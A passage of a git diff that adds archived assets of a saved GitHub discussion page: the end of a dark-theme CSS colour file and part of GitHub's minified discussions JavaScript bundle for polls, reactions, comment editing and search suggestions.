rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}} + +/*# sourceMappingURL=dark-27e9c50c7b31.css.map*/ \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js new file mode 100644 index 0000000..b0e0f01 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js @@ -0,0 +1,35 @@ +"use strict";(()=>{var te=Object.defineProperty;var o=(T,E)=>te(T,"name",{value:E,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["discussions"],{67105:(T,E,a)=>{var l=a(6741),d=a(64463),v=a(65935);(0,d.N7)(".js-discussions-goto-answer-button",{add:e=>{const t=e.getAttribute("href"),n=document.querySelector(t);n&&(0,l.RB)(e,"click",s=>{if(t){s.preventDefault();let m="center";n.getBoundingClientRect().height>=window.innerHeight&&(m="start"),n.scrollIntoView({behavior:"smooth",block:m})}},{capture:!0})}}),(0,d.N7)(".js-discussions-title-container",{add:e=>{e.querySelector(".js-discussions-goto-answer-button")?h():f()}});function h(){const e=document.querySelector(".js-discussion");e&&e.classList.add("answered")}o(h,"removeMarkAsAnswerButtons");function f(){const e=document.querySelector(".js-discussion");e&&e.classList.remove("answered")}o(f,"addMarkAsAnswerButtons"),(0,v.AC)(".js-discussion-comment-mark-answer",async function(e,t){await c(e,t)}),(0,v.AC)(".js-discussion-comment-unmark-answer",async function(e,t){await c(e,t)});async function c(e,t){const n=await t.html();let s=e;const m=e.closest("[data-replace-remote-form-target]");if(m){const y=m.getAttribute("data-replace-remote-form-target");s=y?document.getElementById(y):m}s.replaceWith(n.html)}o(c,"replaceAnswerForm");var i=a(59753),r=a(45075);(0,r.w4)("keyup",".js-discussion-category-name-field",function(){const e=document.querySelector(".js-discussion-category-form");if(!e)return;const t=e.querySelector(".js-discussion-category-name-field"),n=e.querySelector(".js-submit-discussion-category");t.value.length>0&&(n.disabled=!1)}),(0,i.on)("click",".js-discussion-category-toggle-emoji-picker",function(e){const n=u(e).querySelector(".js-discussion-category-emoji-picker");n.hidden=!n.hidden}),(0,i.on)("click",".js-discussion-category-emoji-button",function(e){if(!(e.currentTarget instanceof HTMLButtonElement))return;const t=u(e),n=t.querySelector(".js-discussion-category-emoji-field");n.value=e.currentTarget.value;const s=t.querySelector(".js-discussion-category-custom-emoji");s.innerHTML=e.currentTarget.innerHTML;for(const y of t.querySelectorAll(".selected-emoji"))y.classList.remove("selected-emoji");e.currentTarget.classList.add("selected-emoji");const m=t.querySelector(".js-discussion-category-emoji-picker");m.hidden=!0});function u(e){return e.currentTarget.closest(".js-discussion-category-form")}o(u,"getDiscussionCategoryContainer");function b(e){var t;const n=document.querySelector("#category-select-header"),s=document.querySelector(".js-discussion-category-select-label"),m=(t=e.querySelector(".js-discussion-category-emoji"))==null?void 0:t.cloneNode(!0),y=document.createTextNode(e.getAttribute("data-category-name")),C=e.getAttribute("data-supports-polls"),B=document.createElement("span");n instanceof HTMLElement&&(B.setAttribute("id","category-select-header"),B.setAttribute("class","css-truncate css-truncate-target"),B.setAttribute("data-supports-polls",C),m instanceof HTMLElement&&(m.classList.add("mr-2"),B.appendChild(m)),B.appendChild(y),n.replaceWith(B),s instanceof HTMLElement&&(s.hidden=!1))}o(b,"updateHeader");function p(e){const t=document.querySelector("#discussion_poll_form");!t||(t.hidden=!e)}o(p,"displayPollForm"),(0,i.on)("click",".js-poll-option-template-button",function(e){var t;const s=e.currentTarget.parentElement,m=s.querySelector(".js-poll-option-destroy-field"),y=s.closest(".js-discussion-poll-form-component");m?(m.value="true",(t=m.nextElementSibling)==null||t.classList.remove("js-poll-option"),s.hidden=!0):s.remove();const C=document.querySelector(".js-add-poll-option");(C==null?void 0:C.hidden)&&(C.hidden=!1,C.setAttribute("aria-hidden","false")),y&&(0,i.f)(y,"pollOptionRemoved")}),(0,i.on)("click",".js-add-poll-option",function(e){const t=e.currentTarget,n=document.querySelector("#poll-option-container"),s=+n.getAttribute("data-poll-options-limit"),m=document.querySelector(".js-poll-option-template"),y=n.getAttribute("data-new-discussion")==="true";if(n&&m){const B=m.cloneNode(!0);B.hidden=!1;const Y=B.querySelector(".js-poll-option-template-input");if(y)Y.name="discussion[poll_attributes][options_attributes][][option]";else{const At=n.getAttribute("data-poll-option-next-key");Y.name=`discussion[poll_attributes][options_attributes][${At}][option]`,n.setAttribute("data-poll-option-next-key",`${parseInt(At)+1}`)}n.appendChild(B)}const C=n.querySelectorAll(".js-poll-option").length;t&&C>=s&&(t.hidden=!0,t.setAttribute("aria-hidden","true"))}),(0,i.on)("change","#js-verify-searched",function(e){const t=e.currentTarget,n=document.querySelector("#submit"),s=document.querySelector("#new_discussion");s instanceof HTMLFormElement&&s.checkValidity()&&n&&(n.disabled=!t.checked)}),(0,i.on)("change","#js-discussion-title",function(e){const t=e.currentTarget,n=document.querySelector("#js-similar-search-link");if(n instanceof HTMLAnchorElement&&t instanceof HTMLInputElement){const s=n.getAttribute("data-path");n.href=`${s}${encodeURIComponent(t.value)}`}}),(0,i.on)("details-menu-selected",".js-discussion-category-select",function(e){const t=e.detail.relatedTarget,n=document.querySelector("#discussion_category_id"),s=document.querySelector("#submit"),m=document.querySelector("#new_discussion"),y=document.querySelector("#js-verify-searched");let C=!0;y instanceof HTMLInputElement&&(C=y.checked,s instanceof HTMLButtonElement&&!C&&(s.disabled=!0)),b(t);const B=t.getAttribute("data-supports-polls");if(n instanceof HTMLInputElement){if(n.setAttribute("value",t.id),B==="true"){const Y=document.querySelector(".js-previewable-comment-form");(Y==null?void 0:Y.classList.contains("preview-selected"))||p(!0)}else p(!1);m instanceof HTMLFormElement&&m.checkValidity()&&C&&(s==null||s.removeAttribute("disabled"))}},{capture:!0});var w=a(29719);(0,d.N7)(".js-discussions-comment-actions-button",{subscribe:e=>(0,l.RB)(e,"mouseover",M,{capture:!1,once:!0})}),(0,i.on)("click",".js-discussions-comment-actions-button",function({currentTarget:e}){R(e)}),(0,d.N7)(".js-discussions-comment-actions-rendered-button",{add:e=>W(e)});function M(e){const t=e.currentTarget;g(t)}o(M,"handleMouseover");function W(e){const t=e.closest(".timeline-comment-actions");if(!!t&&t.hasAttribute("data-open-after-click")){t.removeAttribute("data-open-after-click");const n=e.closest("details");if(!n)return;n.setAttribute("open","")}}o(W,"conditionallyOpenMenu");async function g(e){if(!e)return;const t=e.closest(".timeline-comment-actions");if(!t)return;const n=t.querySelector(".js-discussions-comment-actions-container");if(!n)return;const s=n.getAttribute("data-comment-actions-url");if(!s)return;const m=await(0,w.a)(document,s);!m||n.replaceWith(m)}o(g,"insertCommentActions");function R(e){if(!e)return;const t=e.closest(".timeline-comment-actions");!t||t.setAttribute("data-open-after-click","")}o(R,"setClickAfterInsert");var x=a(69567),$=a(55741);(0,d.N7)(".js-discussions-comment-edit-button",{subscribe:e=>(0,l.RB)(e,"click",Z,{capture:!1,once:!0})}),(0,d.N7)(".js-task-list-container .contains-task-list",{add:async e=>I(e)}),(0,d.N7)(".js-discussion-poll-form-component",{subscribe:e=>(0,l.RB)(e,"pollOptionRemoved",X)}),(0,r.w4)("keyup",".js-discussion-poll-form-component input",X);async function I(e){const t=e.closest(".js-comment"),n=j(t);if(n){if(n.querySelector(".js-preview-body"))return;const m=n.getAttribute("data-permissions-url"),y=L(n).targetType;m&&y&&await H(m,y)&&(J(t),D(t))}}o(I,"conditionallyRenderEditForm");async function H(e,t){return(await(await fetch(e,{headers:{Accept:"application/json"}})).json())[t].update}o(H,"fetchAndReturnUpdatePermission");function Z(e){const n=e.currentTarget.closest(".js-comment");J(n),D(n),G(n)}o(Z,"handleClick");function X(e){const n=e.currentTarget.closest(".js-comment");if(n){const s=n.querySelector(".js-discussion-poll-form-component");s&&nt(n,(0,$.T)(s))}}o(X,"handlePollModificationEvent");function D(e){const t=e.querySelector(".js-discussions-markdown-toolbar-placeholder:last-child");if(t){const n={textareaId:t.getAttribute("data-textarea-id")};A("template.js-discussions-markdown-toolbar-template",t,n)}}o(D,"insertMarkdownToolbar");function G(e){const t=e.querySelector(".js-discussions-poll-edit-placeholder");if(t){const n=t.getAttribute("data-poll-edit-url");if(n==="")return;A("template.js-discussions-poll-edit-template",t,{pollEditUrl:n})}}o(G,"insertPollEditForm");function J(e){const t=j(e);if(t){const n=L(t);A("template.js-discussions-edit-form-template",t,n),q(e,n)}}o(J,"insertEditForm");function q(e,t){const n=F(e);n&&A("template.js-discussions-edit-actions-template",n,t)}o(q,"insertEditFormActions");function tt(e){const t=F(e);t&&A("template.js-discussions-poll-confirmation-template",t,{})}o(tt,"insertPollEditConfirmationPrompt");function nt(e,t){const n=j(e);if(n.getAttribute("data-poll-confirmation")==="true"!==t)if(t)tt(e),n.setAttribute("data-poll-confirmation","true");else{const m=L(n);q(e,m),n.setAttribute("data-poll-confirmation","false")}}o(nt,"toggleFormActionVariant");function j(e){return e.querySelector(".js-edit-comment-form-container")}o(j,"editFormTargetContainer");function F(e){return e.querySelector(".js-discussions-edit-form-actions")}o(F,"editFormActionsContainer");function L(e){return{bodyVersion:e.getAttribute("data-body-version"),outerDivClasses:e.getAttribute("data-outer-div-classes"),repositoryId:e.getAttribute("data-repository-id"),targetBody:e.getAttribute("data-target-body"),targetType:e.getAttribute("data-target-type"),textareaId:e.getAttribute("data-textarea-id"),slashCommandUrl:e.getAttribute("data-slash-command-url"),pollEditUrl:e.getAttribute("data-poll-edit-url")}}o(L,"editFormTemplateReplacements");function A(e,t,n){const s=document.querySelector(e);s&&(t.innerHTML="",t.appendChild(new x.R(s,n)))}o(A,"insertTemplate"),(0,d.N7)(".js-optimistic-reaction-render-button",{subscribe:e=>(0,l.RB)(e,"click",S,{capture:!1})});function S(e){const t=e.currentTarget;if(t){const n=new _(t);setTimeout(()=>{n.render()},1)}}o(S,"handleReactionEvent");class _{constructor(t){this.clickedReactionButton=t}render(){if(!this.isReactionAlreadyRendered)return this.addNewReactionGroup();this.isAddingReaction?this.addReactionToGroup():this.removeReactionFromGroup()}addReactionToGroup(){this.existingReactionGroupCountContainer&&this.existingReactionGroup&&(this.existingReactionGroup.removeAttribute("hidden"),this.existingReactionGroup.classList.add("user-has-reacted"),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount+1}`,this.addReactionToPopoverReactionButtons())}removeReactionFromGroup(){var t;this.existingReactionGroupCount===1&&this.existingReactionGroup.setAttribute("hidden",""),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount-1}`,(t=this.existingReactionGroup)==null||t.classList.remove("user-has-reacted"),this.removeReactionFromPopoverReactionButtons()}addNewReactionGroup(){const t=this.newEmojiButtonFromTemplate();this.newEmojiButtonTemplateContainer&&t&&this.commentReactionsContainer&&(this.nextButtonGroup?this.reactionGroupsContainer.insertBefore(t,this.nextButtonGroup):this.reactionGroupsContainer.append(t),t.classList.add(this.tooltipPositionClass),this.addReactionToPopoverReactionButtons(),this.commentReactionsContainer.classList.contains("d-md-none")&&this.commentReactionsContainer.classList.add("has-reactions"))}newEmojiButtonFromTemplate(){if(this.newEmojiButtonTemplateContainer){const n=this.newEmojiButtonTemplateContainer.content.querySelector(".js-reaction-group-button");if(n)return n.cloneNode(!0)}}get nextButtonGroup(){if(this.newEmojiButtonFromTemplatePosition!==void 0&&this.newEmojiButtonFromTemplatePosition!==null){const t=this.reactionGroupsContainer.children;for(const n of t)if(Number(n.getAttribute("data-button-index-position"))>this.newEmojiButtonFromTemplatePosition)return n}}get commentContainer(){return this.clickedReactionButton.closest(".js-comment")}get buttonsContainer(){return this.commentContainer.querySelector(".js-reaction-buttons-container")}get reactionContent(){return this.clickedReactionButton.getAttribute("data-reaction-content")}get reactionGroup(){return this.buttonsContainer.querySelector(`.js-comment-reactions-options g-emoji[alias='${this.reactionContent}'`)}get existingReactionGroup(){if(this.reactionGroup)return this.reactionGroup.closest(".js-reaction-group-button")}get existingReactionGroupCountContainer(){if(this.existingReactionGroup)return this.existingReactionGroup.querySelector(".js-discussion-reaction-group-count")}get newEmojiButtonTemplateContainer(){return document.getElementById(`emoji-reaction-button-template-${this.reactionContent}`)}get commentReactionsContainer(){return this.buttonsContainer.closest(".js-reaction-buttons-container")}get reactionGroupsContainer(){return this.buttonsContainer.querySelector(".js-comment-reactions-options")}get isReactionAlreadyRendered(){return!!this.reactionGroup}get isAddingReaction(){if(this.existingReactionGroup)return!this.existingReactionGroup.classList.contains("user-has-reacted")}get existingReactionGroupCount(){return this.existingReactionGroupCountContainer?Number(this.existingReactionGroupCountContainer.innerHTML):0}get newEmojiButtonFromTemplatePosition(){const t=this.newEmojiButtonFromTemplate();if(t)return Number(t.getAttribute("data-button-index-position"))}get tooltipPositionClass(){return this.buttonsContainer.querySelectorAll("button").length>1?"tooltipped-s":"tooltipped-se"}addReactionToPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.add("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)||(s.value=s.value.replace(/react/,"unreact"))}}removeReactionFromPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.remove("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)&&(s.value=s.value.replace(/unreact/,"react"))}}}o(_,"OptimisticReactionRenderer");var N=a(97730);(0,d.N7)(".js-inline-comment-form-container",{add:e=>U(e)}),(0,i.on)("click",".js-discussions-previewable-comment-form",function({currentTarget:e}){P(e,{willFocus:!0})}),(0,d.N7)(".js-discussions-previewable-comment-form-auto-replace",{add:e=>P(e,{willFocus:!1})}),(0,i.on)("quote-selection",".js-discussion-quote-selection",function(e){const t=e.detail,n=t.closest(".js-timeline-discussion-comment");if(!n)return;const s=t.range;P(n,{willFocus:!0}),t.range=s});function U(e){const t=e.closest(".discussion-timeline-item.js-comment-container");t&&t.getAttribute("data-open-edit-form-after-load")==="true"&&(t.setAttribute("data-open-edit-form-after-load","false"),P(e,{willFocus:!0}))}o(U,"conditionallyInsertForm");function P(e,t){const n=e.closest(".js-timeline-discussion-comment"),s=n.querySelector(".js-discussions-previewable-comment-form-container");if(!s)return;const m=s.getAttribute("data-parent-comment-id"),y=s.getAttribute("data-anchor-id"),C=s.getAttribute("data-back-page"),B=document.querySelector("template.js-new-comment-template");m&&B&&!s.querySelector(".js-discussion-comment-form")&&(s.innerHTML="",s.appendChild(new x.R(B,{id:m,random:crypto.randomUUID(),anchorId:y,backPage:C}))),t.willFocus&&(0,N.j)(n)}o(P,"insertForm"),(0,v.AC)(".js-discussions-previewable-comment-form-container .js-discussion-comment-form",async function(e,t){var n;await t.text(),(0,N.w)(e),(n=e.closest(".js-discussions-previewable-comment-form-container").querySelector(".js-comment-form-error"))==null||n.classList.add("d-none")});var V=a(32750),k=a(36162),z=a(15205),et=a(56238),at=a(41311);async function ot(){const e=O(),t=e.value,s=t.slice(0,e.selectionEnd).split(/\s+/).pop();st().hidden=!1,O().setAttribute("aria-expanded","true");const[m,y]=s.split(":");y!=null?await Pt(m,y):Dt(m);const C=Lt();t.trim().length>0?(C.hidden=!1,(0,V.T_)(Q())):(C.hidden=!0,(0,V.QZ)(Q()))}o(ot,"updateSearchSuggestionResults");function Ct(){const e=O();e.value="",e.getAttribute("data-initial-value").trim().length===0?ot():(0,et.Bt)(Q())}o(Ct,"handleSearchClear");function Tt(e){switch(e.detail.hotkey){case"Enter":if(O().value.trim()!==""||lt().querySelector(".js-navigation-item.navigation-focus"))return;(0,et.Bt)(Q());return;case"Escape":st().hidden=!0,O().setAttribute("aria-expanded","false");break}}o(Tt,"handleSearchInputKeydown");function _t(e){if(e&&e.target){const t=e.target,n=O();n!=null&&n.setAttribute("aria-activedescendant",t.id)}}o(_t,"handleSearchFormFocus");function ct(){(0,V.jK)(Q()),st().hidden=!0,O().setAttribute("aria-expanded","false")}o(ct,"hideSearchSuggestions");function Rt(e){const t=O(),n=e.target;if(n.hasAttribute("data-search")){(0,et.Bt)(Q());return}let s=n.getAttribute("data-value");s[s.length-1]!==":"&&(s+=" ");const m=t.value.slice(0,t.selectionEnd).replace(/\S+$/,""),y=t.value.slice(t.selectionEnd);let C="";y.length>0&&y[0]!==" "&&(C=" "),t.value=m+s+C+y,e.preventDefault(),t.focus();const B=m.length+s.length;t.setSelectionRange(B,B),(0,i.f)(t,"input")}o(Rt,"handleSelectedSuggestionResultEvent");function Ft(){const e=O(),t=e.value.length;e.setSelectionRange(t,t),e.focus(),ct()}o(Ft,"restoreSearchInputFocus");function Q(){return document.querySelector(".js-discussion-search-form")}o(Q,"getSearchForm");function O(){return document.querySelector(".js-discussion-search-input")}o(O,"getSearchInput");function st(){return document.querySelector(".js-discussion-search-autocomplete-dropdown")}o(st,"getSearchAutocompleteDropdown");function lt(){return document.querySelector(".js-discussion-search-autocomplete-results")}o(lt,"getSearchAutocompleteResultsContainer");function Lt(){return document.querySelector(".js-discussion-search-clear")}o(Lt,"getSearchClearButton");const xt=(0,z.Z)(Bt);function Bt(){return[{value:"author:",description:"filter by discussion author"},{value:"category:",description:"filter by discussion category"},{value:"is:",description:"filter by answered or unanswered"},{value:"label:",description:"filter by discussion label"}]}o(Bt,"fetchQualifierSuggestions");async function Pt(e,t){const n=Mt(e),s=dt(n,t).then(m=>m.map(y=>({value:`${e}:${y.value}`,description:y.description})));mt(s)}o(Pt,"renderValueSuggestions");async function Mt(e){switch(e){case"author":return It();case"category":return qt();case"label":return kt();case"is":return Ot();default:return[]}}o(Mt,"fetchSuggestionsForQualifier");const ut=(0,z.Z)(async e=>await(await fetch(e,{headers:{Accept:"application/json"}})).json());async function It(){const e=O().getAttribute("data-suggestable-authors-path");return ut(e)}o(It,"fetchAuthorSuggestions");async function qt(){return JSON.parse(O().getAttribute("data-suggestable-categories"))}o(qt,"fetchCategorySuggestions");async function kt(){const e=O().getAttribute("data-suggestable-labels-path");return ut(e)}o(kt,"fetchLabelSuggestions");async function Ot(){return[{value:"answered"},{value:"unanswered"}]}o(Ot,"fetchTypeSuggestions");function Dt(e){const t=xt(),n=dt(t,e,{fuzzy:!1}).then(s=>s.length===0?t:s);mt(n)}o(Dt,"renderQualifierSuggestions");async function dt(e,t,{fuzzy:n}={fuzzy:!0}){const s=await e,m=t.trim();return!m||m.length===0?s:s.filter(y=>n?y.value.includes(m):y.value.startsWith(m))}o(dt,"filterSuggestionsList");async function mt(e){const t=e.then(n=>n.length===0?k.dy``:ft());(0,k.sY)(k.dy` +
    + ${Nt()} ${(0,at.C)(t,ft())} + ${(0,at.C)(Ut(e),k.dy` loading... `)} +
    + `,lt())}o(mt,"renderSuggestionDropdown");function ft(){return k.dy`
    + Suggested filters +
    `}o(ft,"renderSuggestionsTitle");function Nt(){const e=O().value.trim();return e.length===0?k.dy``:k.dy` +
    + ${e} + +
    + `}o(Nt,"renderSearchSuggestion");async function Ut(e){return(await e).map((n,s)=>k.dy` +
    + ${n.value} + ${n.description} +
    + `)}o(Ut,"renderSuggestionList");var $t=a(29946);(0,i.on)("focusin",".js-discussion-search-input",ot),(0,i.on)("focusout:delay",".js-discussion-search-input",ct),(0,i.on)("navigation:open",".js-discussion-search-form",e=>{Rt(e)}),(0,i.on)("navigation:focus",".js-discussion-search-form",e=>{_t(e)}),(0,i.on)("navigation:keydown",".js-discussion-search-form",e=>{Tt(e)}),(0,d.N7)(".js-discussion-search-input",e=>{e.addEventListener("input",ot)}),(0,i.on)("click",".js-discussion-search-clear",Ct);let it=!1;(0,i.on)("submit",".js-discussion-search-form",()=>(it=!0,!0));function pt(){it&&Ft(),it=!1}o(pt,"restoreFocus"),document.addEventListener("pjax:end",pt),document.addEventListener($t.QE.SUCCESS,pt);var Ht=a(42150);(0,d.N7)(".js-confetti-party",()=>{(0,Ht.Z)()}),(0,i.on)("change",".js-discussion-spotlight-preview-trigger",function(e){const t=e.currentTarget,s=t.closest("form").querySelectorAll(`input[name="${t.name}"]`);for(const m of s){const y=m.closest("label");m.checked?y.setAttribute("aria-selected","true"):y.setAttribute("aria-selected","false")}Vt(t)}),(0,i.on)("click",".js-toggle-manage-discussion-spotlight",function(e){e.target instanceof HTMLElement});function Vt(e){const n=ht(e).querySelector(".js-discussion-spotlight-preview");Gt(n)}o(Vt,"previewTriggerChanged");async function Gt(e){const t=ht(e),n=e.getAttribute("data-url"),s=new URL(n,window.location.origin),m=t.querySelector(".js-discussion-spotlight-form");s.search+=(s.search?"&":"")+(0,et.qC)(m);let y;try{y=await(0,w.a)(document,s.toString())}catch{return}e.replaceWith(y)}o(Gt,"updateSpotlightPreview");function ht(e){return e.closest(".js-manage-discussion-spotlight-container")}o(ht,"getManageSpotlightContainer"),(0,v.AC)(".js-spotlight-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove(),document.querySelector(".js-discussions-categories")&&document.querySelector(".js-discussions-categories").classList.remove("v-hidden")}),(0,d.N7)(".js-discussion-spotlights-sortable",{async add(e){const{Sortable:t}=await a.e("app_assets_modules_github_sortable-behavior_ts").then(a.bind(a,36962));t.create(e,{animation:150,handle:".js-discussion-spotlight-handle",onUpdate:async()=>{const n=e.getAttribute("data-update-url"),m=Array.from(e.querySelectorAll(".js-discussion-spotlight")).map(C=>C.getAttribute("data-id")),y=e.parentElement.querySelector(".js-data-url-csrf");!y||await fetch(n,{method:"PUT",mode:"same-origin",body:JSON.stringify({spotlight_ids:m}),headers:{"Content-Type":"application/json",Accept:"application/json","Scoped-CSRF-Token":y.value,"X-Requested-With":"XMLHttpRequest"}})}})}}),(0,i.on)("click",".js-discussion-comment-thread-expand-button",function({currentTarget:e}){const t=gt(e);!t||Wt(t)}),(0,i.on)("click",".js-discussions-fetch-all-paginated-comments",function({currentTarget:e}){const t=gt(e);!t||Kt(t)});function Wt(e){Xt(e)&&e.setAttribute("data-open-edit-form-after-load","true")}o(Wt,"conditionallyOpenEditFormAfterLoad");function Kt(e){const t=e.querySelector(".js-discussion-comment-thread-expand-button");t&&(e.setAttribute("data-open-edit-form-after-load","true"),t.click())}o(Kt,"clickShowMoreButton");function gt(e){return e.closest(".discussion-timeline-item.js-comment-container")}o(gt,"commentContainerFor");function Xt(e){const t=e.querySelector(".js-inline-comment-form-container");return t?t.classList.contains("open"):!1}o(Xt,"isReplyFormOpen"),(0,d.N7)(".js-remove-error-state-on-click > details",{add:e=>Qt(e)});function Qt(e){var t;const n=(t=document.getElementById("discussion_category_id"))==null?void 0:t.getAttribute("value");if(!n)return;const s=e.querySelector(`.discussion-category-${n}`);!s||s.click()}o(Qt,"conditionallyReselectCategory");var ee=a(62805),vt=a(12981);const Zt=o(async(e,t,n,s)=>{const m=new FormData;m.append("question",n);for(const y of s)m.append("options[]",y);return await fetch(e,{body:m,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"sendRequest");class yt{constructor(t){this.pollForm=t,this.pollPreviewUrl=this.pollForm.getAttribute("data-poll-preview-url")||""}hide(){var t;this.pollForm.hidden=!0,(t=this.pollForm)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.pollForm.hidden=!1,(t=this.pollForm)==null||t.setAttribute("aria-hidden","false")}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-poll-preview-url-post-csrf");return t?t.value:""}getOptions(){const t=[],n=this.pollForm.querySelector("#poll-option-container");if(!n)return t;const s=n.querySelectorAll(".js-poll-option");for(const m of s)m.value&&t.push(m.value);return t}getQuestion(){const t=this.pollForm.querySelector(".js-poll-form-input-question");return t?t.value:""}}o(yt,"PollFormElement");class bt{constructor(t){this.pollFormElement=t}hidePollForm(){this.pollFormElement.hide()}showPollForm(){this.pollFormElement.show()}async getPreview(){const t=this.pollFormElement.getQuestion(),n=this.pollFormElement.getOptions();return t&&n.length>0?await(await Zt(this.pollFormElement.pollPreviewUrl,this.pollFormElement.getCsrfInputValue(),t,n)).text():""}}o(bt,"Poll");let K;(0,d.N7)(".js-discussion-poll-form-component",e=>{K=new bt(new yt(e))}),(0,i.on)("preview:rendered",".js-previewable-comment-form",async function(e){if(!K)return;const n=e.currentTarget.querySelector(".comment-body"),s=await K.getPreview();n.append((0,vt.r)(document,s)),K.hidePollForm()}),(0,i.on)("poll-preview:toggle:off",".js-discussion-poll-form-component",async function(){if(!K)return;const e=document.querySelector(".js-discussion-category-select");if(e){const t=e.querySelector("#category-select-header");if(!t)return;t.getAttribute("data-supports-polls")==="true"&&K.showPollForm()}else K.showPollForm()});const zt=o(async(e,t,n)=>{const s=new FormData;return s.append("option_id",n),await fetch(e,{body:s,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"polls_voting_sendRequest");class Et{constructor(t){this.optionsElement=t}checkedValue(){var t;const n=(t=this.optionsElement)==null?void 0:t.querySelector(".js-discussion-poll-option:checked");return n==null?void 0:n.value}hide(){var t;this.optionsElement&&(this.optionsElement.hidden=!0),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.optionsElement&&(this.optionsElement.hidden=!1),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","false")}}o(Et,"PollOptionsElement");class wt{constructor(t){this.resultsElement=t}hide(){var t;this.resultsElement&&(this.resultsElement.hidden=!0),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.resultsElement&&(this.resultsElement.hidden=!1),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","false")}}o(wt,"PollResultsElement");class St{constructor(t){this.pollForm=t,this.resultsElement=new wt(t.querySelector(".js-discussion-poll-results")),this.optionsElement=new Et(t.querySelector(".js-discussion-poll-options")),this.hideResultsButton=t.querySelector(".js-poll-hide-results"),this.showResultsButton=t.querySelector(".js-poll-show-results"),this.voteButton=t.querySelector(".js-discussion-poll-vote-button"),this.voteUrl=this.pollForm.getAttribute("data-vote-url")||"",this.pollUrl=this.pollForm.getAttribute("data-poll-url")||"",this.pollLocked=this.pollForm.getAttribute("data-poll-locked")||""}getCsrfInputValue(){const 